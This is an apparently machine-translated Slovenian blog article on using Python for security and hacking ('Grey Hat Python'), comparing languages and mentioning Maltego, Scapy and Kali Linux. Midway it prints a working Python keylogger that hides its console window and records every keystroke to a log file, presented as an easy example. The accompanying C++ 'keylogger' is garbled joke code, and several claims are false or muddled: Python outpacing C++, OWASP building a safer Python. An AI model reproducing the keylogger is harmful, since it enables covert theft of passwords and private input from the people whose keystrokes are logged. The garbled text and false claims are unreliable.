Grey Hat Python - Torej, dve leti nazaj sem raziskoval raziskovanje programskih jezikov, začel sem brati o C, C ++, Assembly, Python in Ruby. Želel sem postati strokovnjak za kibernetsko varnost. Torej, začel sem se učiti čim več. Začel sem, da so C, C ++ in C # osnove, potem ko sem se naučil in sestavil veliko programov in virusov, sem končno začel učiti Kali Linux. Za tiste, ki ne vedo, kaj je Kali Linux, je to operacijski sistem za penetracijsko testiranje. Tako sem nadaljeval s študijem in videl sem, da je bila večina programov, virusov in trojanov sestavljenih v Pythonu, njihova baza pa je bila Ruby.

Tako sem zaenkrat ustavil študij in začel učiti Python ali natančneje Grey Hat Python in tadaa… Izjemno enostavno je bilo v primerjavi s C, C # ali katerim drugim jezikom, ki sem se ga naučil. Končno sem spoznal, zakaj je bil Python najbolj uporabljen jezik in kako je postal znan.
Tako bi danes razpravljal o tem, kako se je Python spremenil v Gray Hat Python in zakaj je tako obsežno uporabljen, da ga celo Google in YouTube uporabljata v svoji bazi podatkov, da dajeta čim bolj natančne rezultate iskanja.

Za začetek je Python programski jezik na visoki ravni, kar pomeni, da so njegove sintakse izjemno berljive, tudi za začetnike. Če ste novi pri programiranju, bi to bil jezik, s katerim bi predlagal, da začnete. Naj navedem primer:

Takole je videti na C: -

#include

int main()
(
printf("Hello world\n");
return 0;
)

Takole je videti na Javi: -

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


In tako je videti v Pythonu (v2.7)

print "Hello World"

Preprosto? Ja, je. Torej, Python ni bil le enostaven za pisanje in razumevanje, ampak tudi zelo kompakten. Torej se morda sprašujete, kako je to vodilo v Sivo kapo Python?

Priporočeni tečaji

  • Usposabljanje za usmerjanje IP
  • Hekerski tečaj usposabljanja
  • Popolno usposabljanje RMAN
  • Usposabljanje za programiranje Python-a

Python vs Grey Hat Python

Torej, kaj točno je Grey Hat Python? Zakaj se tako razlikuje od našega običajnega Pythona? Stvar je v tem, da Grey Hat Python ni nič drugega kot programi, ki so jih v Python napisali Hackers, Network-Stress testerji in Reverse Engineers za ustvarjanje ali zlom programa. Toda izraz Grey Hat se uporablja, ker ni ravno koristna ali uporabniška programska oprema. Uporablja se za zaščito ali ustvarjanje varnostne programske opreme.

Z lahkoto ga je mogoče preizkusiti omejitve varnega okolja ali prebiti v varno okolje. To pomeni siva kapa. In v Pythonu je to veliko lažje, kot pa v C, C ++ ali javi. Tako ime Grey Hat Python. Nekaj ​​primerov si lahko omislim:

• Pisanje zapisnikov ključev (za hekerje in penteterje)
• Pisanje skriptov varnostnih lupin (za omrežne skrbnike)
• Pisanje samodejnega IDS (sistem za zaznavanje vdorov za varnostne inženirje)

Torej, zdaj veste, zakaj in kako koristen je Gray Hat Python. Če želite to podrobneje predstaviti, naj vam dam nekaj podrobnih primerov.
Morda ste že slišali za Google App Engine. Google App Engine je bil prvotno zasnovan v Pythonu, preden je bil prenesen. Google App je primeren primer programa, napisanega v Python-u, saj omogoča gradnjo spletnih aplikacij s svojo visoko zbirko knjižnic, orodij in ogrodja višjega cenovnega razreda.

Ste se kdaj vprašali, zakaj je tako enostavno nekaj iskati v Googlu? Večino časa dobite rezultate iskanja, ki so 80% natančni. Razlog za to je, ker je Python izjemno prilagodljiv, deluje z veliko hitrostjo in so baze podatkov veliko bolj kompaktne, čeprav shranjujejo "n" število informacij. Python je tako razširljiv, da ga celo YouTube uporablja za namene, kot je ogled videoposnetkov, nadzor predlog, upravljanje videoposnetkov, dostop do kanoničnih podatkov in še veliko več.

Google ima pajke in pajke, ki zbirajo podatke takoj, ko so naloženi v splet, ne glede na to, kje in kako varno je. Za zbiranje teh informacij je potreben ustrezen navdih, čas in znanje.

Googlova iskanja so prej temeljila na Pythonu, ki ga je pozneje spremenil v C ++ za optimizacijo hitrosti, saj Googlovi pajki plazijo veliko strani na sekundo in za vsako uspešno traja nekaj minut. Python je trenutno precej hitrejši kot C ++, vendar to pred nekaj desetletji ni bilo isto.

Obstajal je slavni citat, ki ga je citiral Google: -
"Python, kjer lahko, C ++, kjer moramo."

Torej se morda sprašujete, kako je to mogoče uporabiti za taksist, prebijanje in varnost omrežja. Prosim za drugačnost. Če bi lahko ustvarili program, ki je 70% -80% natančen za zagotavljanje učinkovitih rezultatov iskanja, potem verjetno lahko sestavite aplikacijo, ki lahko poveže spletna mesta, pametno išče in ustvari profil osebe, ki jo lahko raje uporabijo posamezne črne kape v zlonamerne namene. Posameznike pustite ob strani, če je eden dovolj pameten, lahko preprosto ustvari aplikacijo za gradnjo profila podjetja, celotnega drevesa od njegovega korena do vsega, kar si lahko mislite …

Zbiranje informacij prek Maltega

Morda mislite, da malo pretiravam. Ne, nisem!

Pomislite na primere, kot je Maltego. Maltego je programska oprema, ki jo lahko bolje izrazim kot odprtokodno forenzično aplikacijo, ki je narejena za zbiranje informacij in oblikovanje profila ljudi, podjetij in drugih korporacijskih agencij.

Potrebno je le vnesti ustrezne podatke v aplikacijo, ostale stvari, kot so povezovanje e-poštnih sporočil, ljudi, skupine ljudi, celo določanje internetne infrastrukture, kot so domene, imena DNS, Netblocks in IP naslovi, se lahko povežejo in medsebojno povežejo s to odprtokodno inteligenco .

Če želite več informacij, obiščite, kaj je Maltego?

Če torej dostop do "tajnih informacij" določa vaš uspeh, vam lahko Maltego pomaga, da ga odkrijete. Maltego je delno napisan v Pythonu in uporablja tudi Java, kar je spet odličen jezik.

Toliko, da citiram o Googlovi varnosti. Če sem natančnejši, je Google najmanjši način, da ste anonimni v spletu, ne glede na to, ali uporabljate brez beleženja zgodovine ali www.duckduckgo.com iz Chroma. Ker se na koncu vse posodablja na spletu. Bistvo tukaj je, da ne gre za ranljivost, ampak za to, da smo popolnoma ranljivi. Ne moremo se popolnoma izbrisati iz interneta. Zagotovo pa se lahko poskuša ohraniti čim manj informacij na spletu.

Python ni samo jezik, ampak je skriptni jezik. Jeziki skripta vam omogočajo pisanje, spreminjanje lastnih orodij, ko potrebujete nekaj več po meri. Ta orodja za omrežno varnost so zaradi razširljivosti močno odvisna od skriptnega jezika. Za primer vzemimo Scapy.

Scapy je čisto napisan v Pythonu. Je močno interaktivno orodje za manipulacijo paketov. Sami lahko ustvari ponarejene pakete, skenira omrežja in lahko celo pomiri pakete v omrežju.

Poiščite podrobne informacije o tem, kaj je Scapy?

Zdaj so to zapleteni programi, ki jih napišejo napredni programerji. Poglejmo, kako preprosto je pisanje programa v Python-u, ki ga lahko razumejo ljudje, ki imajo dobre programe v programiranju.

To je keylogger napisan v Python-u:

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

Torej, to je veliko več kot enostavno, če mene vprašate. Pravkar sem preprosto dodal module pyhook, Pythoncom, win32gui in win32console, ki jih lahko enostavno prenesete s spletnega mesta sourceforge, pripombe pa sem omenil s pomočjo hash-tag. Če pa moram isti program napisati v C ++, poglejmo, kako težko je to.

To je program, napisan v jeziku C ++: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

Torej, to je precej veliko v primerjavi s Python-om. In če govorimo o učinkovitosti, potem je Python mogoče enostavno sestaviti v izvedljiv program brez kakršnega koli napora s pomočjo programske opreme py2exe. Če govorim o C ++, odkrito povedano, je ta koda šala. Če želite napisati ustrezen zapisovalnik ključev, morate napisati DLL, ki izvaja WH_KEYBOARD kavelj. Poleg tega je koda daleč od tega, da jo začetnik ne razume preprosto.

Odprtokodno taksiranje

Zdaj to skrbi za hekerje Black Hat, ki so natančneje ljudje, ki nameravajo uničiti, manipulirati s podatki za lastne potrebe. Če gledamo z vidika varnosti, je Python uporaben tudi za hekerje White Hat, ki nameravajo družbo rešiti pred napadi zlonamernih hekerjev. Če želite razviti kariero ali se vsaj želite naučiti Pythona za varnostne raziskave, potem se zagotovo lahko poglobite v OWASP, BRO ali Quick NIX Secure Script.

OWASP je Open Security Security Project. Cilj programa OWASP je ustvariti varnejšo različico Pythona, ki varnostnim strokovnjakom in razvijalcem olajša pisanje programske opreme, ki je manj nagnjena k napadom hekerjev. Povezana je z analizo Black-Box, prepoznavanjem in reševanjem vprašanj, povezanih z varnostjo, ki lahko vplivajo na Python-ov interaktivni tolmač.

BRO je omrežni program za spremljanje varnosti in prometa, medtem ko se Quick NIX uporablja za utrjevanje in zaščito lastništva datotek na poti.

Ker govorimo o varnosti, se pogovorimo o operacijskem sistemu, ki delno temelji na Pythonu. Python odlično sodeluje z UNIX, LINUX in Debian. Eden najbolj znanih operacijskih sistemov je bil Backtrack 5. Objavljene so bile različne različice. Zasnovan je bil posebej za PenTesting. Kasneje so ljudje v ofenzivni varnosti menili, da je Backtrack potreben ponovni zagon, ker večina orodij bodisi ne deluje pravilno ali pa jih ne podpira.

Kasneje so izdali Kali Linux, ki je v celoti temeljil na Debianu. In večina njenega okvira je v Rubyju ali Pythonu. Tudi Ruby je osupljiv scenaristični jezik. Vedno pa bi rad, da je Python nad tem, zato ker ima Python bolj raznoliko skupnost z Linuxom in njegovo bolj neposredno in enostavno odpravljanje napak. Čeprav ima Ruby številne funkcije in se hitro prilagaja okolju, je težko odpraviti napake, težko brati in je bolj izpopolnjen kot Python.

Najboljši primer bi bil primerjava Apple-ja z Linuxom ali Primerjava iphone-a in Android-a. Apple je bogat z viri in je izjemno gladek ter je bolj pristranski do začetnikov. Medtem ko je Linux / Android bolj prijazen do uporabnika, je malce lagan in lahko včasih povzroči glavobol, če ga ne veste, kako ga konfigurirati ali vzdrževati.

Obstaja celo knjiga, ki temelji na krajenju Python Grey Hat Hacking avtorja Justina Seitza. Ukvarja se posebej z avtomatizacijo dolgočasnih povratnih inženiringov in z varnostjo povezanih opravil, načrtovanjem lastnega odpravljalca napak, knjižnicami in injekcijo DLL, vohanjem varnega prometa v šifrirani seji in uporabo odpravljalca imunitete, Sulleyja in mnogih drugih. Osupljiva knjiga ni pomembna, ali ste začetnik ali ste strokovnjak, vedno ali nekaj drugega se boste naučili vsakič, ko jo boste prebrali.

Zaključek

Če ste začetnik, bi bila Python prava izbira za začetek kot prvi jezik za varnost programiranja.

Ne pozabite samo na eno stvar, Grey Hat Python ni samo jezik, ampak način, kako stvari narediti pravilno in hitro.

Prvi vir slike: pixabay.com

Povezani članki:-

Tukaj je nekaj člankov, ki vam bodo pomagali do podrobnosti o sivskem klobuku Python, zato pojdite po povezavi.

  1. Prednosti orodij za spletno varnost Na katere se morate zavedati
  2. Kariera v Pythonu
  3. Top 25 neverjetnih vprašanj in odgovorov za Python Intervju
  4. Kakšne so prednosti in omejitve uporabe Pythona?
  5. Python proti Node.js
  6. Vodič za vprašanja o intervjuju glede kibernetske varnosti
  7. Različne vrste orodij za preizkušanje varnosti